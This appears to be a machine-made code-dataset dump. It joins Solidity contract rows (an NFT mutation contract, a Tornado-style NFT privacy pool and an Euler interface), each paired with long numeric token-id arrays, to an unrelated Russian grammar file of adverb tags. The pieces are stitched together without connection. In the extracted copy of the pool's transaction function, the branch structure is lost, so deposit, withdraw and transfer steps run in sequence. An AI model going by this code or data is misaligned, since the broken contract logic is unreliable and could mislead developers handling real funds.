using SafeMath for uint256;
address public constant burn = address(0);
string public baseUri;
uint256 public maxSupply = 500;
uint256 public dinoCount;
address public yieldBone;
MutationAnimal public mnft;
string[] public mutationBaseUri = [
'ipfs://a/',
'ipfs://b/',
'ipfs://c/',
'ipfs://d/',
'ipfs://e/',
'ipfs://f/',
'ipfs://g/',
'ipfs://h/',
'ipfs://i/',
'ipfs://j/',
'ipfs://k/',
'ipfs://l/'
];
//------Events-----
event DinoAscended(uint256 tokenId);
event MutationDone(address mutator, uint256 id, uint256 checmicalId, uint256 time);
//------Struct-----
struct MutationDetails{
uint256 mutationTypes; // mutation type 0,1,2,3 splicing
uint256 mutationLevel; // mutation level 0,1,2,3 splicing
}
//------Variables----
mapping (uint256 => bool) public mutationStatus;
mapping (uint256 => MutationDetails) public mutationDetails;
mapping (uint256 => bool) public mutation;
mapping (address => bool) public genesisTrasnsferer;
constructor(uint256 _currentSupply, string memory _baseUri, address _mutationNFT ) ERC721("DeadDino","DEAD DINO") {
// _setBaseURI("ipfs://QmaGqAY21r2EGRsMb8VFbPyRbqcveroeL6rKsmtzVsqAtZ/");
_setBaseURI(_baseUri);
mnft = MutationAnimal(_mutationNFT);
batchMintNFT(_currentSupply);
}
//-----Admin Function----
///@notice update the uri for the token
///@param newURI new uri
function updateURI(string memory newURI) public onlyOwner {
_setBaseURI(newURI);
}
///@notice set yield token
///@param _yield new yield bone token
function setYieldToken(address _yield) external onlyOwner {
yieldBone = _yield;
}
///@notice set base uri
///@param _baseURI base uri for the nft
function _setBaseURI(string memory _baseURI) internal {
baseUri = _baseURI;
}
///@notice set mutation base uri
///@param _mutationBaseUris set mutation base uri
function setmutationBaseURi(string[] memory _mutationBaseUris) external onlyOwner {
mutationBaseUri = _mutationBaseUris;
}
///@notice mint nft
function mintNFT() public onlyOwner {
require(dinoCount <= maxSupply, "NFT: Cannot mint more than total Supply!");
dinoCount++;
uint256 _tokenId = dinoCount;
_mint(msg.sender, _tokenId);
}
///@notice batch mint nft
///@param totalNumber nft number to mint
function batchMintNFT(uint256 totalNumber) public onlyOwner {
for(uint256 i=0;i < totalNumber; i++){
mintNFT();
}
}
///@notice add the genisis trader like marketplace or other first distributor addresses
///@param genesisTrader genesis trader address
function addGenesisTrader(address genesisTrader) external onlyOwner{
genesisTrasnsferer[genesisTrader] = true;
}
///@notice remoce the genesis trader
///@param genesisTrader genisis trader address
function removeGenesisTrader(address genesisTrader) external onlyOwner{
genesisTrasnsferer[genesisTrader] = false;
}
///@notice animal mutation nft update
///@param _mnft mutation nft address
function updateMNFT(address _mnft) external onlyOwner{
mnft = MutationAnimal(_mnft);
}
//-----View Function----
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory currentUri = baseUri;
if(mutationStatus[tokenId]){
MutationDetails memory details = mutationDetails[tokenId];
uint256 mutationType = details.mutationTypes;
uint256 mutationLevel = details.mutationLevel;
uint256 tokenUriIndex = mutationLevel.mul(4).add(mutationType);
currentUri = mutationBaseUri[tokenUriIndex];
}
return bytes(baseUri).length > 0 ? string(abi.encodePacked(currentUri, tokenId.toString(), ".json")) : "";
}
//-----User function----
///@notice function called to get the reward bones
function getReward() external{
IBone20(yieldBone).updateReward(msg.sender, address(0));
IBone20(yieldBone).getReward(msg.sender);
}
///@notice function called to get the
///@param nftId nft id to mutate
///@param animalId id for animal to mutate with
function mutateNFT(uint256 nftId, uint256 animalId) public {
if(!mutationStatus[nftId])
mutationStatus[nftId] = true;
mnft.burnSerumForAddress(animalId, msg.sender);
uint256 levels = mnft.getChemicalLevel(animalId);
uint256 types = mnft.getChemicalType(animalId);
mutationDetails[nftId].mutationLevel = levels;
mutationDetails[nftId].mutationTypes = types;
emit MutationDone(msg.sender, nftId, animalId, block.timestamp);
}
//---Override----
function transferFrom(address from, address to, uint256 tokenId) public override {
//sender was the owner
//it replicats that the NFT was sold from the Opensea / Owner to the user now it will be rewarded
if(from == owner() || genesisTrasnsferer[from]){
IBone20(yieldBone).updateRewardOnMint(to);
emit DinoAscended(tokenId);
}else{
IBone20(yieldBone).updateReward(from, to);
}
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public override {
//sender was the owner
//it means that the NFT was sold from the Opensea / Owner to the user now it will be rewarded
if(from == owner() || genesisTrasnsferer[from]){
IBone20(yieldBone).updateRewardOnMint(to);
emit DinoAscended(tokenId);
}else{
IBone20(yieldBone).updateReward(from, to);
}
_safeTransfer(from, to, tokenId, _data);
}
} | @notice remove valid mutation animal types@param ids ids to remove | function removeValidMutationAnimals(uint256[] memory ids)
external
onlyOwner
{
for(uint256 i=0; i<ids.length; i++){
validAnimalTypes[ids[i]] = false;
}
}
| 2,103,023 | [
1,
4479,
923,
11934,
392,
2840,
1953,
3258,
3258,
358,
1206,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1206,
1556,
20028,
979,
11366,
12,
11890,
5034,
8526,
3778,
3258,
13,
7010,
565,
3903,
7010,
565,
1338,
5541,
203,
565,
288,
203,
3639,
364,
12,
11890,
5034,
277,
33,
20,
31,
277,
32,
2232,
18,
2469,
31,
277,
27245,
95,
203,
5411,
923,
979,
2840,
2016,
63,
2232,
63,
77,
13563,
273,
629,
31,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// https://tornado.cash
/*
* d888888P dP a88888b. dP
* 88 88 d8' `88 88
* 88 .d8888b. 88d888b. 88d888b. .d8888b. .d888b88 .d8888b. 88 .d8888b. .d8888b. 88d888b.
* 88 88' `88 88' `88 88' `88 88' `88 88' `88 88' `88 88 88' `88 Y8ooooo. 88' `88
* 88 88. .88 88 88 88 88. .88 88. .88 88. .88 dP Y8. .88 88. .88 88 88 88
* dP `88888P' dP dP dP `88888P8 `88888P8 `88888P' 88 Y88888P' `88888P8 `88888P' dP dP
* ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "hardhat/console.sol";
interface IVerifier {
function verifyProof(bytes memory _proof, uint256[7] memory _input) external view returns (bool);
}
contract TornadoNFT {
using SafeERC20 for IERC20;
// using SafeERC721 for IERC721;
uint256 public constant FIELD_SIZE = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
IVerifier public immutable verifier;
mapping(bytes32 => bool) public nullifierHashes;
bytes32 public currentRoot;
uint256 public currentCommitmentIndex;
struct ExtData {
IERC721 tokenAddress;
uint256 tokenId;
address recipient;
bytes encryptedOutput;
// data used for private token sell
IERC20 swapToken;
uint256 swapAmount;
address swapSender;
address swapRecipient;
}
struct Proof {
bytes proof;
bytes32 root;
bytes32 newRoot;
bytes32 tokenHash;
bytes32 extDataHash;
bytes32 inputNullifier;
bytes32 outputCommitment;
uint256 outPathIndices;
}
event NewCommitment(bytes32 commitment, uint256 index, bytes encryptedOutput);
event NewNullifier(bytes32 nullifier);
/**
@dev The constructor
@param _verifier the address of SNARK verifier
*/
constructor(IVerifier _verifier, bytes32 _zeroRoot) {
verifier = _verifier;
currentRoot = _zeroRoot;
}
function transaction(Proof calldata _args, ExtData calldata _extData) public payable {
require(currentRoot == _args.root || _args.outputCommitment == bytes32(0), "Invalid merkle root");
require(!isSpent(_args.inputNullifier), "Input is already spent");
require(uint256(_args.extDataHash) == uint256(keccak256(abi.encode(_extData))) % FIELD_SIZE, "Incorrect external data hash");
require(_args.outPathIndices == currentCommitmentIndex, "Invalid merkle tree insert position");
require(
verifier.verifyProof(
_args.proof,
[
uint256(_args.root),
uint256(_args.newRoot),
uint256(_args.tokenHash),
uint256(_args.extDataHash),
uint256(_args.inputNullifier),
uint256(_args.outputCommitment),
_args.outPathIndices
]
),
"Invalid transaction proof"
);
if (_args.inputNullifier == bytes32(0)) {
// deposit
require(
uint256(_args.tokenHash) == uint256(keccak256(abi.encode(_extData.tokenAddress, _extData.tokenId))) % FIELD_SIZE,
"Incorrect token hash"
);
_extData.tokenAddress.transferFrom(msg.sender, address(this), _extData.tokenId);
currentRoot = _args.newRoot;
emit NewCommitment(_args.outputCommitment, currentCommitmentIndex++, _extData.encryptedOutput);
} else if (_args.outputCommitment == bytes32(0)) {
// withdraw
nullifierHashes[_args.inputNullifier] = true;
emit NewNullifier(_args.inputNullifier);
require(
uint256(_args.tokenHash) == uint256(keccak256(abi.encode(_extData.tokenAddress, _extData.tokenId))) % FIELD_SIZE,
"Incorrect token hash"
);
_extData.tokenAddress.safeTransferFrom(address(this), _extData.recipient, _extData.tokenId);
} else {
// tranfer
if (_extData.swapToken != IERC20(address(0)) && _extData.swapAmount > 0 && _extData.swapRecipient != address(0)) {
require(msg.sender == _extData.swapSender, "Invalid swap sender");
_extData.swapToken.safeTransferFrom(_extData.swapSender, _extData.swapRecipient, _extData.swapAmount);
}
currentRoot = _args.newRoot;
emit NewCommitment(_args.outputCommitment, currentCommitmentIndex++, _extData.encryptedOutput);
nullifierHashes[_args.inputNullifier] = true;
emit NewNullifier(_args.inputNullifier);
}
}
/** @dev whether a note is already spent */
function isSpent(bytes32 _nullifierHash) public view returns (bool) {
return nullifierHashes[_nullifierHash];
}
}
| deposit withdraw tranfer | function transaction(Proof calldata _args, ExtData calldata _extData) public payable {
require(currentRoot == _args.root || _args.outputCommitment == bytes32(0), "Invalid merkle root");
require(!isSpent(_args.inputNullifier), "Input is already spent");
require(uint256(_args.extDataHash) == uint256(keccak256(abi.encode(_extData))) % FIELD_SIZE, "Incorrect external data hash");
require(_args.outPathIndices == currentCommitmentIndex, "Invalid merkle tree insert position");
require(
verifier.verifyProof(
_args.proof,
[
uint256(_args.root),
uint256(_args.newRoot),
uint256(_args.tokenHash),
uint256(_args.extDataHash),
uint256(_args.inputNullifier),
uint256(_args.outputCommitment),
_args.outPathIndices
]
),
"Invalid transaction proof"
);
if (_args.inputNullifier == bytes32(0)) {
require(
uint256(_args.tokenHash) == uint256(keccak256(abi.encode(_extData.tokenAddress, _extData.tokenId))) % FIELD_SIZE,
"Incorrect token hash"
);
_extData.tokenAddress.transferFrom(msg.sender, address(this), _extData.tokenId);
currentRoot = _args.newRoot;
emit NewCommitment(_args.outputCommitment, currentCommitmentIndex++, _extData.encryptedOutput);
nullifierHashes[_args.inputNullifier] = true;
emit NewNullifier(_args.inputNullifier);
require(
uint256(_args.tokenHash) == uint256(keccak256(abi.encode(_extData.tokenAddress, _extData.tokenId))) % FIELD_SIZE,
"Incorrect token hash"
);
_extData.tokenAddress.safeTransferFrom(address(this), _extData.recipient, _extData.tokenId);
if (_extData.swapToken != IERC20(address(0)) && _extData.swapAmount > 0 && _extData.swapRecipient != address(0)) {
require(msg.sender == _extData.swapSender, "Invalid swap sender");
_extData.swapToken.safeTransferFrom(_extData.swapSender, _extData.swapRecipient, _extData.swapAmount);
}
currentRoot = _args.newRoot;
emit NewCommitment(_args.outputCommitment, currentCommitmentIndex++, _extData.encryptedOutput);
nullifierHashes[_args.inputNullifier] = true;
emit NewNullifier(_args.inputNullifier);
}
}
| 5,509,057 | [
1,
323,
1724,
598,
9446,
13637,
586,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
2492,
12,
20439,
745,
892,
389,
1968,
16,
6419,
751,
745,
892,
389,
408,
751,
13,
1071,
8843,
429,
288,
203,
565,
2583,
12,
2972,
2375,
422,
389,
1968,
18,
3085,
747,
389,
1968,
18,
2844,
5580,
475,
422,
1731,
1578,
12,
20,
3631,
315,
1941,
30235,
1365,
8863,
203,
565,
2583,
12,
5,
291,
3389,
319,
24899,
1968,
18,
2630,
2041,
1251,
3631,
315,
1210,
353,
1818,
26515,
8863,
203,
565,
2583,
12,
11890,
5034,
24899,
1968,
18,
408,
751,
2310,
13,
422,
2254,
5034,
12,
79,
24410,
581,
5034,
12,
21457,
18,
3015,
24899,
408,
751,
20349,
738,
9921,
67,
4574,
16,
315,
16268,
3903,
501,
1651,
8863,
203,
565,
2583,
24899,
1968,
18,
659,
743,
8776,
422,
783,
5580,
475,
1016,
16,
315,
1941,
30235,
2151,
2243,
1754,
8863,
203,
565,
2583,
12,
203,
1377,
20130,
18,
8705,
20439,
12,
203,
3639,
389,
1968,
18,
24207,
16,
203,
3639,
306,
203,
1850,
2254,
5034,
24899,
1968,
18,
3085,
3631,
203,
1850,
2254,
5034,
24899,
1968,
18,
2704,
2375,
3631,
203,
1850,
2254,
5034,
24899,
1968,
18,
2316,
2310,
3631,
203,
1850,
2254,
5034,
24899,
1968,
18,
408,
751,
2310,
3631,
203,
1850,
2254,
5034,
24899,
1968,
18,
2630,
2041,
1251,
3631,
203,
1850,
2254,
5034,
24899,
1968,
18,
2844,
5580,
475,
3631,
203,
1850,
389,
1968,
18,
659,
743,
8776,
203,
3639,
308,
203,
1377,
262,
16,
203,
1377,
315,
1941,
2492,
14601,
6,
203,
565,
11272,
203,
203,
565,
309,
261,
67,
1968,
18,
2630,
2041,
1251,
422,
2
] |
./full_match/5/0xef0F6F951F0e62774597eB29b86065498bB7aC32/sources/contracts/periphery/EulerControllerHelper.sol | @notice Definition of callback method that deferLiquidityCheck will invoke on your contract | interface IDeferredLiquidityCheck {
function onDeferredLiquidityCheck(bytes memory data) external;
pragma solidity =0.7.6;
import {IERC20Detailed} from "../interfaces/IERC20Detailed.sol";
import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
}
| 11,610,411 | [
1,
1852,
434,
1348,
707,
716,
2220,
48,
18988,
24237,
1564,
903,
4356,
603,
3433,
6835,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5831,
467,
16886,
48,
18988,
24237,
1564,
288,
203,
565,
445,
603,
16886,
48,
18988,
24237,
1564,
12,
3890,
3778,
501,
13,
3903,
31,
203,
683,
9454,
18035,
560,
273,
20,
18,
27,
18,
26,
31,
203,
5666,
288,
45,
654,
39,
3462,
40,
6372,
97,
628,
315,
6216,
15898,
19,
45,
654,
39,
3462,
40,
6372,
18,
18281,
14432,
203,
5666,
288,
9890,
10477,
97,
628,
8787,
3190,
94,
881,
84,
292,
267,
19,
16351,
87,
19,
15949,
19,
9890,
10477,
18,
18281,
14432,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
automat sg
{
tag наречие:на самом деле{ ТИП_МОДИФ:ГЛАГ }
tag наречие:там{ ТИП_МОДИФ:ГЛАГ }
tag наречие:воровски{ ТИП_МОДИФ:ГЛАГ } // Бегают воровски черные злые глаза.
tag наречие:последовательно{ ТИП_МОДИФ:ГЛАГ } // Выдавить последовательно пустотелую деталь дисковым роликом
tag наречие:невдалеке{ ТИП_МОДИФ:ГЛАГ } // Она слышала невдалеке глубокое мерное дыхание.
tag наречие:шутя{ ТИП_МОДИФ:ГЛАГ } // Шутя несчастных и счастливых Вертушки милые творят.
tag наречие:чай{ ТИП_МОДИФ:ГЛАГ }
tag наречие:ежегодно{ ТИП_МОДИФ:ГЛАГ } // Ежегодно каждый класс проводил Праздник книги.
tag наречие:ежедневно{ ТИП_МОДИФ:ГЛАГ } // Ежедневно специальные поезда подвозят гурты скота;
tag наречие:еженочно{ ТИП_МОДИФ:ГЛАГ }
tag наречие:легко{ ТИП_МОДИФ:ГЛАГ }
tag наречие:тяжело{ ТИП_МОДИФ:ГЛАГ }
tag наречие:трудно{ ТИП_МОДИФ:ГЛАГ }
tag наречие:регулярно{ ТИП_МОДИФ:ГЛАГ } // Посещаете ли вы регулярно баню или сауну?
tag наречие:непосильно{ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ} // Все остальные регионы также могут привлекать средства, но цена таких привлечений может оказаться непосильно высокой
tag наречие:отчаянно{ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ} // А хозяйству отчаянно нужны были пастухи.
tag наречие:чудовищно{ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ} // И вот возникает чудовищно простой вопрос
tag наречие:постепенно{ ТИП_МОДИФ:ГЛАГ } // Постепенно наш футбол пришел в упадок.
tag наречие:чисто{ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ} // В нем была чисто мужская привлекательность.
tag наречие:стабильно{ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ} // Компания приносит стабильно высокий доход.
tag наречие:внутренне{ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ} // В этом есть что-то внутренне безобразное.
tag наречие:безгранично{ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ} // Он чувствовал себя безгранично униженным.
tag наречие:специально{ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ} // Для этого есть специально обученные люди.
tag наречие:чудесно{ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ} // Воздух был чудесно прохладным и приятным.
tag наречие:жизненно{ТИП_МОДИФ:ПРИЛ} // Для него это становилось жизненно важным.
tag наречие:празднично{ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ} // В школу ребята пришли празднично одетые.
tag наречие:ослепительно{ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ} // В небе сияло ослепительно яркое солнце.
tag наречие:по-летнему{ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ} // А теперь дни стали по-летнему длинными.
tag наречие:прямо-таки{ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ} // в ней царит прямо-таки неземная тишина.
tag наречие:необыкновенно{ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:НАРЕЧ} // Вечер был необыкновенно жарким и тихим.
tag наречие:неумолимо{ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:НАРЕЧ} // В Дэве было что-то неумолимо жестокое.
tag наречие:скоро{ ТИП_МОДИФ:ГЛАГ } // Увезите же меня поскор куда-нибудь!
tag наречие:необыкновенно{ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:НАРЕЧ} // необыкновенно
tag наречие:безумно{ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ} // Он был безумно одинокий человек ...
tag наречие:нескончаемо{ТИП_МОДИФ:ПРИЛ} // Дорога кажется нескончаемо долгой.
tag наречие:мучительно{ТИП_МОДИФ:ПРИЛ} // Что кажется глубоко символичным.
tag наречие:мучительно{ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:НАРЕЧ} // Мой приезд был вдвойне роковым.
tag наречие:мучительно{ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ} // ночь была мучительно долгой
tag наречие:чуток{ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ} // Но успели ободрать носик чуток!
tag наречие:Внешне{ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ} // Внешне притихший Салидар на самом деле бурлил.
tag наречие:культурологически{ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ} // Этическая позиция является культурологически нейтральной.
tag наречие:рекордно{ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ} // Орловские избиратели проявили рекордно высокую активность
tag наречие:богатырски { ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ } // Рождаются богатырски сильные быстрые ноги.
tag наречие:смутно { ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ } // Его лицо мне показалось смутно знакомым.
tag наречие:политически { ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ } // Его выступление было признано политически ошибочным.
tag наречие:по-детски { ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ } // Его лицо было сейчас по-детски простодушным.
tag наречие:безупречно { ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ } // Его лицо хранило безупречно равнодушную мину.
tag наречие:возмутительно { ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ } // Его слова показались ей возмутительно самоуверенными.
tag наречие:откровенно { ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ } // Его улыбка показалась ей откровенно порочной.
tag наречие:правдоподобно{ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ } // Его глаза были не правдоподобно голубыми.
tag наречие:экологически{ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:НАРЕЧ } // Принцип нашего канала - экологически чистое телевидение.
tag наречие:Своего рода { ТИП_МОДИФ:ПРИЛ } // Своего рода спортивный подвиг совершила наша Елена Соколова.
tag наречие:Божественно { ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ } // Моя душа сразу заново рождается Божественно здоровой.
